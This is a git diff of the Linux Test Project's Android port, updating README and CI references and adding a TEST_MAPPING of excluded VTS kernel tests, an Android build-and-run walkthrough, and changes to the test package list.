 https://github.com/linux-test-project/ltp
 
@@ -39,7 +42,7 @@
 
 If you have git, autoconf, automake, m4, pkgconf / pkg-config, libc headers,
 linux kernel headers and other common development packages installed (see
-INSTALL and travis/*.sh), the chances are the following will work:
+INSTALL and ci/*.sh), the chances are the following will work:
 
 ```
 $ git clone https://github.com/linux-test-project/ltp.git
@@ -52,7 +55,7 @@
 compiling and installing the whole testsuite.
 
 For optional library dependencies look into scripts for major distros in
-`travis/` directory. You can also build whole LTP with `./build.sh` script.
+`ci/` directory. You can also build whole LTP with `./build.sh` script.
 
 Shortcut to running a single test
 ---------------------------------
@@ -150,7 +153,7 @@
 Some have arguments
 
 ```
-$ testcases/bin/fork13 -i 37
+$ testcases/bin/mesgq\_nstest -m none
 ```
 
 The vast majority of test cases accept the -h (help) switch
@@ -178,8 +181,7 @@
 Network tests
 -------------
 Network tests require certain setup, described in `testcases/network/README.md`
-(online at https://github.com/linux-test-project/ltp/tree/master/testcases/network)
-and `INSTALL`.
+(online at https://github.com/linux-test-project/ltp/tree/master/testcases/network).
 
 Developers corner
 =================
@@ -204,8 +206,7 @@
 
 Although we accept GitHub pull requests, the preferred way is sending patches to our mailing list.
 
-It's a good idea to test patches on Travis CI before posting to mailing
-list. Our travis setup covers various architectures and distributions in
+It's a good idea to test patches on GitHub Actions before posting to mailing
+list. Our GitHub Actions setup covers various architectures and distributions in
 order to make sure LTP compiles cleanly on most common configurations.
-For testing you need to sign up to Travis CI, enable running builds on your LTP fork on
-https://travis-ci.org/account/repositories and push your branch.
+For testing you need to just push your changes to your own LTP fork on GitHub.
diff --git a/TEST_MAPPING b/TEST_MAPPING
new file mode 100644
index 0000000..67e7da0
--- /dev/null
+++ b/TEST_MAPPING
@@ -0,0 +1,577 @@
+{
+  "kernel-presubmit": [
+    {
+      "name": "vts_ltp_test_arm",
+      "options": [
+        {
+          // TODO(b/262943169)
+          "exclude-filter": "cve.cve-2021-4034_32bit"
+        },
+        {
+          // TODO(b/237560213)
+          "exclude-filter": "syscalls.tgkill03_32bit"
+        },
+        {
+          // TODO(b/143654050)
+          "exclude-filter": "syscalls.memfd_create01_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.futimesat01_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.clock_nanosleep02_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.select04_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.epoll_wait02_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.clock_nanosleep02_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.pselect01_64_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.nanosleep01_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.poll02_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.futex_wait05_32bit"
+        },
+        {
+          // TODO(b/191622991)
+          "exclude-filter": "controllers.cgroup_fj_function_memory_32bit#controllers.cgroup_fj_function_memory_32bit"
+        },
+        {
+          // vts_slow_ltp_tests_arm
+          "exclude-filter": "controllers.memcg_regression_32bit"
+        },
+        {
+          "exclude-filter": "cve.cve-2011-0999_32bit"
+        },
+        {
+          "exclude-filter": "cve.cve-2015-7550_32bit"
+        },
+        {
+          "exclude-filter": "cve.cve-2016-7117_32bit"
+        },
+        {
+          "exclude-filter": "cve.cve-2017-2671_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio15_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio16_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio17_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio19_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio20_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio21_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio23_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio24_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio25_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio27_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio28_32bit"
+        },
+        {
+          "exclude-filter": "fs.fs_di_32bit"
+        },
+        {
+          "exclude-filter": "fs.fs_fill_32bit"
+        },
+        {
+          "exclude-filter": "fs.fs_inod01_32bit"
+        },
+        {
+          "exclude-filter": "fs.linker01_32bit"
+        },
+        {
+          "exclude-filter": "mm.mmapstress01_32bit"
+        },
+        {
+          "exclude-filter": "mm.mmapstress06_32bit"
+        },
+        {
+          "exclude-filter": "mm.mmapstress09_32bit"
+        },
+        {
+          "exclude-filter": "mm.mtest06_32bit"
+        },
+        {
+          "exclude-filter": "mm.mtest06_32bit"
+        },
+        {
+          "exclude-filter": "nptl.nptl01_32bit"
+        },
+        {
+          "exclude-filter": "pty.pty01_32bit"
+        },
+        {
+          "exclude-filter": "sched.hackbench01_32bit"
+        },
+        {
+          "exclude-filter": "sched.hackbench02_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.copy_file_range01_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.fallocate05_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.fcntl15_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.fcntl15_64_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.gettimeofday02_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.inotify09_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.keyctl02_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.kill02_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.mkdir09_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.readahead02_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.waitid01_32bit"
+        }
+      ]
+    },
+    {
+      "name": "vts_ltp_test_arm_64",
+      "options": [
+        {
+          // TODO(b/262943169)
+          "exclude-filter": "cve.cve-2021-4034_64bit"
+        },
+        {
+          // TODO(b/191622991)
+          "exclude-filter": "controllers.cgroup_fj_function_memory_64bit#controllers.cgroup_fj_function_memory_64bit"
+        },
+        {
+          // vts_slow_ltp_tests_arm
+          "exclude-filter": "controllers.memcg_regression_64bit"
+        },
+        {
+          "exclude-filter": "cve.cve-2011-0999_64bit"
+        },
+        {
+          "exclude-filter": "cve.cve-2015-7550_64bit"
+        },
+        {
+          "exclude-filter": "cve.cve-2016-7117_64bit"
+        },
+        {
+          "exclude-filter": "cve.cve-2017-2671_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio15_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio16_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio17_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio19_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio20_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio21_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio23_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio24_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio25_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio27_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio28_64bit"
+        },
+        {
+          "exclude-filter": "fs.fs_di_64bit"
+        },
+        {
+          "exclude-filter": "fs.fs_fill_64bit"
+        },
+        {
+          "exclude-filter": "fs.fs_inod01_64bit"
+        },
+        {
+          "exclude-filter": "fs.linker01_64bit"
+        },
+        {
+          "exclude-filter": "mm.mmapstress01_64bit"
+        },
+        {
+          "exclude-filter": "mm.mmapstress06_64bit"
+        },
+        {
+          "exclude-filter": "mm.mmapstress09_64bit"
+        },
+        {
+          "exclude-filter": "nptl.nptl01_64bit"
+        },
+        {
+          "exclude-filter": "pty.pty01_64bit"
+        },
+        {
+          "exclude-filter": "sched.hackbench01_64bit"
+        },
+        {
+          "exclude-filter": "sched.hackbench02_64bit"
+        },
+        {
+          "exclude-filter": "syscalls.copy_file_range01_64bit"
+        },
+        {
+          "exclude-filter": "syscalls.fallocate05_64bit"
+        },
+        {
+          "exclude-filter": "syscalls.fcntl15_64_64bit"
+        },
+        {
+          "exclude-filter": "syscalls.fcntl15_64bit"
+        },
+        {
+          "exclude-filter": "syscalls.gettimeofday02_64bit"
+        },
+        {
+          "exclude-filter": "syscalls.inotify09_64bit"
+        },
+        {
+          "exclude-filter": "syscalls.keyctl02_64bit"
+        },
+        {
+          "exclude-filter": "syscalls.kill02_64bit"
+        },
+        {
+          "exclude-filter": "syscalls.mkdir09_64bit"
+        },
+        {
+          "exclude-filter": "syscalls.readahead02_64bit"
+        },
+        {
+          "exclude-filter": "syscalls.waitid01_64bit"
+        }
+      ]
+    },
+    {
+      "name": "vts_ltp_test_x86",
+      "options": [
+        {
+          // vts_slow_ltp_tests_x86
+          "exclude-filter": "controllers.memcg_regression_32bit"
+        },
+        {
+          "exclude-filter": "cve.cve-2011-0999_32bit"
+        },
+        {
+          "exclude-filter": "cve.cve-2015-7550_32bit"
+        },
+        {
+          "exclude-filter": "cve.cve-2016-7117_32bit"
+        },
+        {
+          "exclude-filter": "cve.cve-2017-2671_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio15_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio16_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio17_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio19_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio20_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio21_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio23_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio24_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio25_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio27_32bit"
+        },
+        {
+          "exclude-filter": "dio.dio28_32bit"
+        },
+        {
+          "exclude-filter": "fs.fs_di_32bit"
+        },
+        {
+          "exclude-filter": "fs.fs_fill_32bit"
+        },
+        {
+          "exclude-filter": "fs.fs_inod01_32bit"
+        },
+        {
+          "exclude-filter": "fs.linker01_32bit"
+        },
+        {
+          "exclude-filter": "mm.mmapstress01_32bit"
+        },
+        {
+          "exclude-filter": "mm.mmapstress06_32bit"
+        },
+        {
+          "exclude-filter": "mm.mmapstress09_32bit"
+        },
+        {
+          "exclude-filter": "mm.mtest06_32bit"
+        },
+        {
+          "exclude-filter": "nptl.nptl01_32bit"
+        },
+        {
+          "exclude-filter": "pty.pty01_32bit"
+        },
+        {
+          "exclude-filter": "sched.hackbench01_32bit"
+        },
+        {
+          "exclude-filter": "sched.hackbench02_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.clock_nanosleep02_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.copy_file_range01_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.fallocate05_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.fcntl15_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.gettimeofday02_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.inotify09_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.keyctl02_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.kill02_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.mkdir09_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.nanosleep01_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.poll02_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.readahead02_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.select04_32bit"
+        },
+        {
+          "exclude-filter": "syscalls.waitid01_32bit"
+        }
+      ]
+    },
+    {
+      "name": "vts_ltp_test_x86_64",
+      "options": [
+        {
+          // vts_slow_ltp_tests_x86
+          "exclude-filter": "cve.cve-2011-0999_64bit"
+        },
+        {
+          "exclude-filter": "cve.cve-2015-7550_64bit"
+        },
+        {
+          "exclude-filter": "cve.cve-2016-7117_64bit"
+        },
+        {
+          "exclude-filter": "cve.cve-2017-2671_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio01_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio02_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio03_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio04_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio05_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio06_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio07_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio08_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio09_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio10_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio11_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio12_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio13_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio14_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio15_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio16_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio17_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio18_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio19_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio20_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio21_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio22_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio23_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio24_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio25_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio26_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio27_64bit"
+        },
+        {
+          "exclude-filter": "dio.dio28_64bit"
+        },
+        {
+          "exclude-filter": "fs.fs_fill_64bit"
+        },
+        {
+          "exclude-filter": "fs.fs_inod01_64bit"
+        },
+        {
+          "exclude-filter": "fs.linker01_64bit"
+        },
+        {
+          "exclude-filter": "mm.mmapstress06_64bit"
+        },
+        {
+          "exclude-filter": "mm.mtest06_64bit"
+        },
+        {
+          "exclude-filter": "nptl.nptl01_64bit"
+        },
+        {
+          "exclude-filter": "sched.hackbench01_64bit"
+        },
+        {
+          "exclude-filter": "sched.hackbench02_64bit"
+        },
+        {
+          "exclude-filter": "syscalls.clock_nanosleep02_64bit"
+        },
+        {
+          "exclude-filter": "syscalls.inotify09_64bit"
+        },
+        {
+          "exclude-filter": "syscalls.keyctl02_64bit"
+        },
+        {
+          "exclude-filter": "syscalls.nanosleep01_64bit"
+        },
+        {
+          "exclude-filter": "syscalls.poll02_64bit"
+        },
+        {
+          "exclude-filter": "syscalls.select04_64bit"
+        }
+      ]
+    }
+  ]
+}
diff --git a/VERSION b/VERSION
index e2a9538..47b36b0 100644
--- a/VERSION
+++ b/VERSION
@@ -1 +1 @@
-20210524
+20220930
diff --git a/android/Android.ltp.mk b/android/Android.ltp.mk
index 26421a7..b038104 100644
--- a/android/Android.ltp.mk
+++ b/android/Android.ltp.mk
@@ -13,10 +13,6 @@
 
 # This file is autogenerated by gen_android_build.sh
 
-module_prebuilt := testcases/data/stress_floppy/dumpdir/1K_file
-module_src_files := testcases/kernel/io/stress_floppy/datafiles/dumpdir/1K_file
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/data/mc_member/ManyGroups
 module_src_files := testcases/network/multicast/mc_member/datafiles/ManyGroups
 include $(ltp_build_prebuilt)
@@ -29,10 +25,6 @@
 module_src_files := testcases/commands/ld/datafiles/d1.c
 include $(ltp_build_prebuilt)
 
-module_prebuilt := testcases/data/stress_floppy/dd_file
-module_src_files := testcases/kernel/io/stress_floppy/datafiles/dd_file
-include $(ltp_build_prebuilt)
-
 module_prebuilt := testcases/data/unzip01/dir.out
 module_src_files := testcases/commands/unzip/datafiles/dir.out
 include $(ltp_build_prebuilt)
diff --git a/android/README.md b/android/README.md
index 47be077..6046272 100644
--- a/android/README.md
+++ b/android/README.md
@@ -14,9 +14,9 @@
 and in fact much of it must be disabled, given the functionality is not
 available in Android.
 
-As of mid-2018 there are on the order of 900 tests executed in VTS. Most tests
-are run in both 32-bit and 64-bit mode. Many more are available but currently
-disabled due to either being broken or not applicable on Android.
+As of Jan 2023 there are on the order of 1300 tests executed in VTS on arm64.
+Most tests are run in both 32-bit and 64-bit mode. Many more are available but
+currently disabled due to either being broken or not applicable on Android.
 
 How is LTP Run in VTS?
 ----------------------
diff --git a/android/include/config.h b/android/include/config.h
index 42a40ee..951da92 100644
--- a/android/include/config.h
+++ b/android/include/config.h
@@ -20,6 +20,9 @@
 /* Define to 1 if you have __builtin___clear_cache */
 #define HAVE_BUILTIN_CLEAR_CACHE 1
 
+/* Define to 1 if you have close_range */
+#define HAVE_CLOSE_RANGE 1
+
 /* Define to 1 if you have the `copy_file_range' function. */
 /* #undef HAVE_COPY_FILE_RANGE */
 
@@ -395,6 +398,9 @@
 /* Define to 1 if the system has the type `struct modify_ldt_ldt_s'. */
 /* #undef HAVE_STRUCT_MODIFY_LDT_LDT_S */
 
+/* Define to 1 if the system has the type `struct mount_attr'. */
+#define HAVE_STRUCT_MOUNT_ATTR 1
+
 /* Define to 1 if `aux_head' is a member of `struct perf_event_mmap_page'. */
 #define HAVE_STRUCT_PERF_EVENT_MMAP_PAGE_AUX_HEAD 1
 
diff --git a/android/ltp_android_walkthrough.md b/android/ltp_android_walkthrough.md
new file mode 100644
index 0000000..51c1622
--- /dev/null
+++ b/android/ltp_android_walkthrough.md
@@ -0,0 +1,100 @@
+Building LTP for Android (complete walkthrough)
+===============================================
+This tutorial will walk you through building LTP for Android, starting from scratch.
+
+Install build tools
+-------------------
+Follow the instructions here based on your operating system:
+
+https://source.android.com/docs/setup/start/initializing?hl=en
+
+Install repo
+------------
+```
+sudo apt-get update
+sudo apt-get install repo
+```
+(https://source.android.com/docs/setup/download?hl=en)
+
+Checkout AOSP
+-------------
+**WARNING**: this step downloads ~300GB of files from the AOSP repository.
+
+```
+mkdir aosp-master
+cd aosp-master
+repo init -u https://android.googlesource.com/platform/manifest -b master --partial-clone --clone-filter=blob:limit=10M
+repo sync -c -j8
+```
+(https://source.android.com/docs/setup/download/downloading?hl=en)
+
+Set up environment
+------------------
+This configures the tooling to target cuttlefish arm64:
+```
+source build/envsetup.sh
+lunch aosp_cf_arm64_phone-userdebug
+```
+Alternatively, this will target 32-bit arm:
+```
+source build/envsetup.sh
+lunch aosp_cf_arm_only_phone-userdebug
+```
+If you are targeting something else, you can follow the link below for further instructions on how to adjust the target accordingly:
+
+https://source.android.com/docs/setup/build/building?hl=en#choose-a-target
+
+Build ADB and atest
+-------------------
+```
+m -j adb atest
+adb version
+```
+(https://source.android.com/docs/setup/build/adb?hl=en)
+
+Connect the device
+------------------
+Connect the device to your system and verify that ADB can see it.
+```
+adb devices
+```
+
+Two ways to run LTP:
+--------------------
+### Use atest tool to build and run tests
+https://android.googlesource.com/platform/external/ltp/+/master/android/README.md#running-ltp-through-atest
+```
+atest -a vts_ltp_test_arm     # 32-bit arm tests
+atest -a vts_ltp_test_arm_64  # 64-bit arm tests
+```
+
+### Manually build and run tests
+This is faster to build but requires more manual steps.
+
+Setup temporary directories:
+```
+adb root
+adb shell "mkdir -p /data/local/tmp/ltp/tmp/ltptemp; mkdir -p /data/local/tmp/ltp/tmp/tmpbase; mkdir -p /data/local/tmp/ltp/tmp/tmpdir; restorecon -F -R /data/local/tmp/ltp"
+```
+
+This example builds ltp and runs the `pcrypt_aead01` binary:
+```
+cd external/ltp
+mma
+adb sync data
+adb shell "TMP=/data/local/tmp/ltp/tmp LTPTMP=/data/local/tmp/ltp/tmp/ltptemp LTP_DEV_FS_TYPE=ext4 TMPBASE=/data/local/tmp/ltp/tmp/tmpbase TMPDIR=/data/local/tmp/ltp/tmp/tmpdir LTPROOT=/data/local/tmp/ltp PATH=/data/nativetest64/ltp/testcases/bin:$PATH pcrypt_aead01"
+```
+(https://android.googlesource.com/platform/external/ltp/+/master/android/README.md#running-ltp-directly)
+
+Modify an existing test and rerun it
+------------------------------------
+After making code changes to an existing test, following either of the previous steps will rebuild and run it.
+
+If you are applying a patch file, you may do the following, filling in the patch file and binary:
+```
+cd external/ltp
+git apply <patch filename>.patch
+mma
+adb sync data
+adb shell "TMP=/data/local/tmp/ltp/tmp LTPTMP=/data/local/tmp/ltp/tmp/ltptemp LTP_DEV_FS_TYPE=ext4 TMPBASE=/data/local/tmp/ltp/tmp/tmpbase TMPDIR=/data/local/tmp/ltp/tmp/tmpdir LTPROOT=/data/local/tmp/ltp PATH=/data/nativetest64/ltp/testcases/bin:$PATH <test binary>"
+```
diff --git a/android/ltp_package_list.mk b/android/ltp_package_list.mk
index 284c25c..0c82c55 100644
--- a/android/ltp_package_list.mk
+++ b/android/ltp_package_list.mk
@@ -70,9 +70,12 @@
   ltp_bpf_prog03 \
   ltp_bpf_prog04 \
   ltp_bpf_prog05 \
+  ltp_bpf_prog06 \
+  ltp_bpf_prog07 \
   ltp_brk01 \
   ltp_brk02 \
   ltp_cacheflush01 \
+  ltp_can_bcm01 \
   ltp_can_filter \
   ltp_can_rcv_own_msgs \
   ltp_cap_bounds_r \
@@ -84,6 +87,8 @@
   ltp_capset02 \
   ltp_capset03 \
   ltp_capset04 \
+  ltp_cfs_bandwidth01 \
+  ltp_cgroup_core01 \
   ltp_cgroup_fj_proc \
   ltp_cgroup_regression_6_2 \
   ltp_cgroup_regression_fork_processes \
@@ -95,9 +100,7 @@
   ltp_check_pe \
   ltp_check_simple_capset \
   ltp_chmod01 \
-  ltp_chmod02 \
   ltp_chmod03 \
-  ltp_chmod04 \
   ltp_chmod05 \
   ltp_chmod07 \
   ltp_chown01 \
@@ -176,6 +179,7 @@
   ltp_creat07 \
   ltp_creat07_child \
   ltp_creat08 \
+  ltp_creat09 \
   ltp_create-files \
   ltp_create_datafile \
   ltp_crypto_user01 \
@@ -195,6 +199,7 @@
   ltp_delete_module02 \
   ltp_delete_module03 \
   ltp_dio_append \
+  ltp_dio_read \
   ltp_dio_sparse \
   ltp_dio_truncate \
   ltp_diotest1 \
@@ -205,7 +210,7 @@
   ltp_dirty \
   ltp_dirtyc0w \
   ltp_dirtyc0w_child \
-  ltp_disktest \
+  ltp_dirtypipe \
   ltp_dma_thread_diotest \
   ltp_dup01 \
   ltp_dup02 \
@@ -219,6 +224,8 @@
   ltp_dup203 \
   ltp_dup204 \
   ltp_dup205 \
+  ltp_dup206 \
+  ltp_dup207 \
   ltp_dup3_01 \
   ltp_dup3_02 \
   ltp_eas_big_to_small \
@@ -229,13 +236,24 @@
   ltp_eas_two_big_three_small \
   ltp_endian_switch01 \
   ltp_epoll-ltp \
+  ltp_epoll_create01 \
+  ltp_epoll_create02 \
   ltp_epoll_create1_01 \
+  ltp_epoll_create1_02 \
   ltp_epoll_ctl01 \
   ltp_epoll_ctl02 \
+  ltp_epoll_ctl03 \
+  ltp_epoll_ctl04 \
+  ltp_epoll_ctl05 \
   ltp_epoll_pwait01 \
+  ltp_epoll_pwait02 \
+  ltp_epoll_pwait03 \
+  ltp_epoll_pwait04 \
+  ltp_epoll_pwait05 \
   ltp_epoll_wait01 \
   ltp_epoll_wait02 \
   ltp_epoll_wait03 \
+  ltp_epoll_wait04 \
   ltp_event_generator \
   ltp_eventfd01 \
   ltp_eventfd2_01 \
@@ -257,6 +275,8 @@
   ltp_execve03 \
   ltp_execve04 \
   ltp_execve05 \
+  ltp_execve06 \
+  ltp_execve06_child \
   ltp_execve_child \
   ltp_execveat01 \
   ltp_execveat02 \
@@ -297,6 +317,10 @@
   ltp_fanotify17 \
   ltp_fanotify18 \
   ltp_fanotify19 \
+  ltp_fanotify20 \
+  ltp_fanotify21 \
+  ltp_fanotify22 \
+  ltp_fanotify23 \
   ltp_fanotify_child \
   ltp_fanout01 \
   ltp_fchdir01 \
@@ -397,6 +421,8 @@
   ltp_fcntl37_64 \
   ltp_fcntl38 \
   ltp_fcntl38_64 \
+  ltp_fcntl39 \
+  ltp_fcntl39_64 \
   ltp_fdatasync01 \
   ltp_fdatasync02 \
   ltp_fdatasync03 \
@@ -487,6 +513,9 @@
   ltp_futex_wait04 \
   ltp_futex_wait05 \
   ltp_futex_wait_bitset01 \
+  ltp_futex_waitv01 \
+  ltp_futex_waitv02 \
+  ltp_futex_waitv03 \
   ltp_futex_wake01 \
   ltp_futex_wake02 \
   ltp_futex_wake04 \
@@ -618,6 +647,7 @@
   ltp_hugemmap02 \
   ltp_hugemmap04 \
   ltp_hugemmap06 \
+  ltp_icmp_rate_limit01 \
   ltp_ima_boot_aggregate \
   ltp_ima_mmap \
   ltp_in \
@@ -637,6 +667,8 @@
   ltp_inotify08 \
   ltp_inotify09 \
   ltp_inotify10 \
+  ltp_inotify11 \
+  ltp_inotify12 \
   ltp_inotify_init1_01 \
   ltp_inotify_init1_02 \
   ltp_input01 \
@@ -645,15 +677,21 @@
   ltp_input05 \
   ltp_input06 \
   ltp_io_cancel01 \
+  ltp_io_cancel02 \
+  ltp_io_control01 \
   ltp_io_destroy01 \
+  ltp_io_destroy02 \
   ltp_io_getevents01 \
+  ltp_io_getevents02 \
   ltp_io_pgetevents01 \
   ltp_io_pgetevents02 \
   ltp_io_setup01 \
+  ltp_io_setup02 \
   ltp_io_submit01 \
+  ltp_io_submit02 \
+  ltp_io_submit03 \
   ltp_io_uring01 \
   ltp_io_uring02 \
-  ltp_iobw \
   ltp_ioctl01 \
   ltp_ioctl03 \
   ltp_ioctl04 \
@@ -686,6 +724,7 @@
   ltp_ioprio_set01 \
   ltp_ioprio_set02 \
   ltp_ioprio_set03 \
+  ltp_irqbalance01 \
   ltp_kcmp01 \
   ltp_kcmp02 \
   ltp_kcmp03 \
@@ -697,6 +736,7 @@
   ltp_keyctl06 \
   ltp_keyctl07 \
   ltp_keyctl08 \
+  ltp_keyctl09 \
   ltp_kill02 \
   ltp_kill03 \
   ltp_kill06 \
@@ -705,6 +745,7 @@
   ltp_kill10 \
   ltp_kill11 \
   ltp_kill12 \
+  ltp_kill13 \
   ltp_kmsg01 \
   ltp_ksm01 \
   ltp_ksm02 \
@@ -726,8 +767,6 @@
   ltp_link03 \
   ltp_link04 \
   ltp_link05 \
-  ltp_link06 \
-  ltp_link07 \
   ltp_link08 \
   ltp_linkat01 \
   ltp_linkat02 \
@@ -751,7 +790,6 @@
   ltp_lstat01_64 \
   ltp_lstat02 \
   ltp_lstat02_64 \
-  ltp_ltp-diorh \
   ltp_ltpClient \
   ltp_ltpServer \
   ltp_ltp_acpi \
@@ -765,6 +803,7 @@
   ltp_madvise10 \
   ltp_mallinfo01 \
   ltp_mallinfo02 \
+  ltp_mallinfo2_01 \
   ltp_max_map_count \
   ltp_mbind01 \
   ltp_mbind02 \
@@ -785,6 +824,10 @@
   ltp_memcg_test_3 \
   ltp_memcg_test_4 \
   ltp_memcmp01 \
+  ltp_memcontrol01 \
+  ltp_memcontrol02 \
+  ltp_memcontrol03 \
+  ltp_memcontrol04 \
   ltp_memcpy01 \
   ltp_memctl_test01 \
   ltp_memfd_create01 \
@@ -874,6 +917,7 @@
   ltp_mount04 \
   ltp_mount05 \
   ltp_mount06 \
+  ltp_mount_setattr01 \
   ltp_move_mount01 \
   ltp_move_mount02 \
   ltp_move_pages01 \
@@ -939,7 +983,6 @@
   ltp_ns-udpclient \
   ltp_ns-udpsender \
   ltp_ns-udpserver \
-  ltp_nsclone \
   ltp_oom01 \
   ltp_oom02 \
   ltp_oom03 \
@@ -949,7 +992,6 @@
   ltp_open02 \
   ltp_open03 \
   ltp_open04 \
-  ltp_open05 \
   ltp_open06 \
   ltp_open07 \
   ltp_open08 \
@@ -981,11 +1023,15 @@
   ltp_pec_listener \
   ltp_perf_event_open01 \
   ltp_perf_event_open02 \
+  ltp_perf_event_open03 \
   ltp_personality01 \
   ltp_personality02 \
+  ltp_pidfd_getfd01 \
+  ltp_pidfd_getfd02 \
   ltp_pidfd_open01 \
   ltp_pidfd_open02 \
   ltp_pidfd_open03 \
+  ltp_pidfd_open04 \
   ltp_pidfd_send_signal01 \
   ltp_pidfd_send_signal02 \
   ltp_pidfd_send_signal03 \
@@ -1036,8 +1082,6 @@
   ltp_pread01_64 \
   ltp_pread02 \
   ltp_pread02_64 \
-  ltp_pread03 \
-  ltp_pread03_64 \
   ltp_preadv01 \
   ltp_preadv01_64 \
   ltp_preadv02 \
@@ -1083,7 +1127,8 @@
   ltp_pty02 \
   ltp_pty03 \
   ltp_pty04 \
-  ltp_pty05 \
+  ltp_pty06 \
+  ltp_pty07 \
   ltp_pwrite01 \
   ltp_pwrite01_64 \
   ltp_pwrite02 \
@@ -1109,6 +1154,8 @@
   ltp_quotactl05 \
   ltp_quotactl06 \
   ltp_quotactl07 \
+  ltp_quotactl08 \
+  ltp_quotactl09 \
   ltp_random-access \
   ltp_random-access-del-create \
   ltp_read01 \
@@ -1116,7 +1163,6 @@
   ltp_read03 \
   ltp_read04 \
   ltp_read_all \
-  ltp_read_checkzero \
   ltp_readahead01 \
   ltp_readahead02 \
   ltp_readdir01 \
@@ -1127,7 +1173,6 @@
   ltp_readlinkat02 \
   ltp_readv01 \
   ltp_readv02 \
-  ltp_readv03 \
   ltp_realpath01 \
   ltp_reboot01 \
   ltp_reboot02 \
@@ -1141,7 +1186,6 @@
   ltp_removexattr01 \
   ltp_removexattr02 \
   ltp_rename01 \
-  ltp_rename02 \
   ltp_rename03 \
   ltp_rename04 \
   ltp_rename05 \
@@ -1253,10 +1297,6 @@
   ltp_sendto01 \
   ltp_sendto02 \
   ltp_sendto03 \
-  ltp_set_mempolicy01 \
-  ltp_set_mempolicy02 \
-  ltp_set_mempolicy03 \
-  ltp_set_mempolicy04 \
   ltp_set_robust_list01 \
   ltp_set_thread_area01 \
   ltp_set_tid_address01 \
@@ -1362,6 +1402,8 @@
   ltp_setsockopt05 \
   ltp_setsockopt06 \
   ltp_setsockopt07 \
+  ltp_setsockopt08 \
